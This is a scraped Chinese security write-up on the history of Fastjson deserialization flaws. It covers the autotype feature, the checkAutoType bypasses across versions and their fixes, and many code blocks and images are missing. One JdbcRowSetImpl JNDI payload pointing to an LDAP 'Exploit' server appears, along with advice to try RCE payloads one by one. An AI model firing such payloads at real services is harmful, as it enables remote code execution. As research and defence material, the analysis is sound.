天天看點

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

作者:Longofo@知道創宇404實驗室

時間:2020年4月27日

原文位址:https://paper.seebug.org/1192/

英文版本:https://paper.seebug.org/1193/

Fastjson沒有cve編号,不太好查找時間線,一開始也不知道咋寫,不過還是慢慢寫出點東西,幸好fastjson開源以及有師傅們的一路辛勤記錄。文中将給出與Fastjson漏洞相關的比較關鍵的更新以及漏洞時間線,會對一些比較經典的漏洞進行測試及修複說明,給出一些探測payload,rce payload。

可以參考下@Lucifaer師傅寫的fastjson流程分析,這裡不寫了,再寫篇幅就占用很大了。文中提到fastjson有使用ASM生成的位元組碼,由于實際使用中很多類都不是原生類,fastjson序列化/反序列化大多數類時都會用ASM處理,如果好奇想檢視生成的位元組碼,可以用idea動态調試時儲存位元組檔案:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

插入的代碼為:

生成的類:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

但是這個類并不能用于調試,因為fastjson中用ASM生成的代碼沒有linenumber、trace等用于調試的資訊,是以不能調試。不過通過在Expression那個視窗重寫部分代碼,生成可用于調式的bytecode應該也是可行的(我沒有測試,如果有時間和興趣,可以看下ASM怎麼生成可用于調試的位元組碼)。

首先用多個版本測試下面這個例子:

說明:

這裡的@type就是對應常說的autotype功能,簡單了解為fastjson會自動将json的<code>key:value</code>值映射到@type對應的類中

樣例User類的幾個方法都是比較普通的方法,命名、傳回值也都是正常的符合bean要求的寫法,是以下面的樣例測試有的特殊調用不會覆寫到,但是在漏洞分析中,可以看到一些特殊的情況

parse用了四種寫法,四種寫法都能造成危害(不過實際到底能不能利用,還得看版本和使用者是否打開了某些配置開關,具體往後看)

樣例測試都使用jdk8u102,代碼都是拉的源碼測,主要是用樣例說明autotype的預設開啟、checkautotype的出現、以及黑白名白名單從哪個版本開始出現的過程以及增強手段

這應該是最原始的版本了(tag最早是這個),結果:

下面對每個結果做一個簡單的說明

在指定了@type的情況下,自動調用了User類預設構造器,User類對應的setter方法(setAge,setName),最終結果是User類的一個執行個體,不過值得注意的是public sex被成功指派了,private address沒有成功指派,不過在1.2.22, 1.1.54.android之後,增加了一個SupportNonPublicField特性,如果使用了這個特性,那麼private address就算沒有setter、getter也能成功指派,這個特性也與後面的一個漏洞有關。注意預設構造方法、setter方法調用順序,預設構造器在前,此時屬性值還沒有被指派,是以即使預設構造器中存在危險方法,但是危害值還沒有被傳入,是以預設構造器按理來說不會成為漏洞利用方法,不過對于内部類那種,外部類先初始化了自己的某些屬性值,但是内部類預設構造器使用了父類的屬性的某些值,依然可能造成危害。

可以看出,從最原始的版本就開始有autotype功能了,并且autotype預設開啟。同時ParserConfig類中還沒有黑名單。

在指定了@type的情況下,自動調用了User類預設構造器,User類對應的setter方法(setAge,setName)以及對應的getter方法(getAge,getName),最終結果是一個字元串。這裡還多調用了getter(注意bool類型的是is開頭的)方法,是因為parseObject在沒有其他參數時,調用了<code>JSON.toJSON(obj)</code>,後續會通過gettter方法擷取obj屬性值:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結
Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

在指定了@type的情況下,這種寫法和第一種<code>JSON.parse(serializedStr)</code>寫法其實沒有差別的,從結果也能看出。

在指定了@type的情況下,自動調用了User類預設構造器,User類對應的setter方法(setAge,setName),最終結果是User類的一個執行個體。這種寫法明确指定了目标對象必須是User類型,如果@type對應的類型不是User類型或其子類,将抛出不比對異常,但是,就算指定了特定的類型,依然有方式在類型比對之前來觸發漏洞。

對于上面User這個類,測試結果和1.1.157一樣,這裡不寫了。

到這個版本autotype依然預設開啟。不過從這個版本開始,fastjson在ParserConfig中加入了denyList,一直到1.2.24版本,這個denyList都隻有一個類(不過這個java.lang.Thread不是用于漏洞利用的):

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

測試結果是抛出出了異常:

從1.2.25開始,autotype預設關閉了,對于autotype開啟,後面漏洞分析會涉及到。并且從1.2.25開始,增加了checkAutoType函數,它的主要作用是檢測@type指定的類是否在白名單、黑名單(使用的startswith方式)

以及目标類是否是兩個危險類(Classloader、DataSource)的子類或者子接口,其中白名單優先級最高,白名單如果允許就不檢測黑名單與危險類,否則繼續檢測黑名單與危險類:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

增加了黑名單類、包數量,同時增加了白名單,使用者還可以調用相關方法添加黑名單/白名單到清單中:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

後面的許多漏洞都是對checkAutotype以及本身某些邏輯缺陷導緻的漏洞進行修複,以及黑名單的不斷增加。

與1.2.25一樣,預設不開啟autotype,是以結果一樣,直接抛autotype未開啟異常。

從這個版本開始,将denyList、acceptList換成了十進制的hashcode,使得安全研究難度變大了(不過hashcode的計算方法依然是公開的,假如擁有大量的jar包,例如maven倉庫可以爬jar包下來,可批量的跑類名、包名,不過對于黑名單是包名的情況,要找到具體可利用的類也會消耗一些時間):

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

checkAutotype中檢測也做了相應的修改:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

從1.2.25到1.2.61之前其實還發生了很多繞過與黑名單的增加,不過這部分在後面的漏洞版本線在具體寫,這裡寫1.2.61版本主要是說明黑名單防禦所做的手段。在1.2.61版本時,fastjson将hashcode從十進制換成了十六進制:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

不過用十六進制表示與十進制表示都一樣,同樣可以批量跑jar包。在1.2.62版本為了統一又把十六進制大寫:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

再之後的版本就是黑名單的增加了

下面漏洞不會過多的分析,太多了,隻會簡單說明下以及給出payload進行測試與說明修複方式。

從上面的測試中可以看到,1.2.24及之前沒有任何防禦,并且autotype預設開啟,下面給出那會比較經典的幾個payload。

payload:

測試(jdk=8u102,fastjson=1.2.24):

結果:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

觸發原因簡析:

JdbcRowSetImpl對象恢複-&gt;setDataSourceName方法調用-&gt;setAutocommit方法調用-&gt;context.lookup(datasourceName)調用

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用鍊

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

TemplatesImpl對象恢複-&gt;JavaBeanDeserializer.deserialze-&gt;FieldDeserializer.setValue-&gt;TemplatesImpl.getOutputProperties-&gt;TemplatesImpl.newTransformer-&gt;TemplatesImpl.getTransletInstance-&gt;通過defineTransletClasses,newInstance觸發我們自己構造的class的靜态代碼塊

簡單說明:

這個漏洞需要開啟SupportNonPublicField特性,這在樣例測試中也說到了。因為TemplatesImpl類中<code>_bytecodes</code>、<code>_tfactory</code>、<code>_name</code>、<code>_outputProperties</code>、<code>_class</code>并沒有對應的setter,是以要為這些private屬性指派,就需要開啟SupportNonPublicField特性。具體這個poc構造過程,這裡不分析了,可以看下廖大師傅的這篇,涉及到了一些細節問題。

1.2.24之前沒有autotype的限制,從1.2.25開始預設關閉了autotype支援,并且加入了checkAutotype,加入了黑名單+白名單來防禦autotype開啟的情況。在1.2.25到1.2.41之間,發生了一次checkAutotype的繞過。

下面是checkAutoType代碼:

在上面做了四個位置标記,因為後面幾次繞過也與這幾處位置有關。這一次的繞過是走過了前面的1,2,3成功進入位置4加載目标類。位置4 loadclass如下:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

去掉了className前後的<code>L</code>和<code>;</code>,形如<code>Lcom.lang.Thread;</code>這種表示方法和JVM中類的表示方法是類似的,fastjson對這種表示方式做了處理。而之前的黑名單檢測都是startswith檢測的,是以可給@type指定的類前後加上<code>L</code>和<code>;</code>來繞過黑名單檢測。

這裡用上面的JdbcRowSetImpl利用鍊:

測試(jdk8u102,fastjson 1.2.41):

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

在1.2.42對1.2.25~1.2.41的checkAutotype繞過進行了修複,将黑名單改成了十進制,對checkAutotype檢測也做了相應變化:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結
Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

黑名單改成了十進制,檢測也進行了相應hash運算。不過和上面1.2.25中的檢測過程還是一緻的,隻是把startswith這種檢測換成了hash運算這種檢測。對于1.2.25~1.2.41的checkAutotype繞過的修複,就是紅框處,判斷了className前後是不是<code>L</code>和<code>;</code>,如果是,就截取第二個字元和到倒數第二個字元。是以1.2.42版本的checkAutotype繞過就是前後雙寫<code>LL</code>和<code>;;</code>,截取之後過程就和1.2.25~1.2.41版本利用方式一樣了。

用上面的JdbcRowSetImpl利用鍊:

測試(jdk8u102,fastjson 1.2.42):

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

1.2.43對于1.2.42的繞過修複方式:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

在第一個if條件之下(<code>L</code>開頭,<code>;</code>結尾),又加了一個以<code>LL</code>開頭的條件,如果第一個條件滿足并且以<code>LL</code>開頭,直接抛異常。是以這種修複方式沒法在繞過了。但是上面的loadclass除了<code>L</code>和<code>;</code>做了特殊處理外,<code>[</code>也被特殊處理了,又再次繞過了checkAutoType:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

<code>{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}</code>

測試(jdk8u102,fastjson 1.2.43):

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

1.2.44版本修複了1.2.43繞過,處理了<code>[</code>:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

删除了之前的<code>L</code>開頭、<code>;</code>結尾、<code>LL</code>開頭的判斷,改成了<code>[</code>開頭就抛異常,<code>;</code>結尾也抛異常,是以這樣寫之前的幾次繞過都修複了。

<code>ver&amp;gt;=1.2.45&amp;ver&amp;lt;1.2.46</code>

這兩個版本期間就是增加黑名單,沒有發生checkAutotype繞過。黑名單中有幾個payload在後面的RCE Payload給出,這裡就不寫了

這個版本發生了不開啟autotype情況下能利用成功的繞過。解析一下這次的繞過:

利用到了<code>java.lang.class</code>,這個類不在黑名單,是以checkAutotype可以過

這個<code>java.lang.class</code>類對應的deserializer為MiscCodec,deserialize時會取json串中的val值并load這個val對應的class,如果fastjson cache為true,就會緩存這個val對應的class到全局map中

如果再次加載val名稱的class,并且autotype沒開啟(因為開啟了會先檢測黑白名單,是以這個漏洞開啟了反而不成功),下一步就是會嘗試從全局map中擷取這個class,如果擷取到了,直接傳回

這個漏洞分析已經很多了,具體詳情可以參考下這篇

測試(jdk8u102,fastjson 1.2.47):

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

在1.2.48修複了1.2.47的繞過,在MiscCodec,處理Class類的地方,設定了cache為false:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

在1.2.48到最新版本1.2.68之間,都是增加黑名單類。

1.2.68是目前最新版,在1.2.68引入了safemode,打開safemode時,@type這個specialkey完全無用,無論白名單和黑名單,都不支援autoType了。

在這個版本中,除了增加黑名單,還減掉一個黑名單:

Fastjson 反序列化漏洞史Fastjson解析流程Fastjson 樣例測試Fastjson漏洞版本線探測Fastjson一些RCE Payload參考連結

這個減掉的黑名單,不知道有師傅跑出來沒,是個包名還是類名,然後能不能用于惡意利用,反正有點奇怪。

比較常用的探測Fastjson是用dnslog方式,探測到了再用RCE Payload去一個一個打。同僚說讓搞個能回顯的放掃描器掃描,不過目标容器/架構不一樣,回顯方式也會不一樣,這有點為難了...,還是用dnslog吧。

目前fastjson探測比較通用的就是dnslog方式去探測,其中Inet4Address、Inet6Address直到1.2.67都可用。下面給出一些看到的payload(結合了上面的rand:{}這種方式,比較通用些):

之前沒有收集關于fastjson的payload,沒有去跑jar包....,下面列出了網絡上流傳的payload以及從marshalsec中扣了一些并改造成适用于fastjson的payload,每個payload适用的jdk版本、fastjson版本就不一一測試寫了,這一通測下來都不知道要花多少時間,實際利用基本無法知道版本、autotype開了沒、使用者咋配置的、使用者自己設定又加了黑名單/白名單沒,是以将構造的Payload一一過去打就行了,基礎payload:

下面是個小腳本,可以将基礎payload轉出各種繞過的變形态,還增加了<code>\u</code>、<code>\x</code>編碼形式:

例如JdbcRowSetImpl結果:

有些師傅也通過掃描maven倉庫包來尋找符合jackson、fastjson的惡意利用類,似乎大多數都是在尋找jndi類型的漏洞。對于跑黑名單,可以看下這個項目,跑到1.2.62版本了,跑出來了大多數黑名單,不過很多都是包,具體哪個類還得去包中一一尋找。

https://paper.seebug.org/994/#0x03

https://paper.seebug.org/1155/

https://paper.seebug.org/994/

https://paper.seebug.org/292/

https://paper.seebug.org/636/

https://www.anquanke.com/post/id/182140#h2-1

https://github.com/LeadroyaL/fastjson-blacklist

http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47

http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress

https://xz.aliyun.com/t/7027#toc-4

https://zhuanlan.zhihu.com/p/99075925

...

太多了,感謝師傅們的辛勤記錄。

繼續閱讀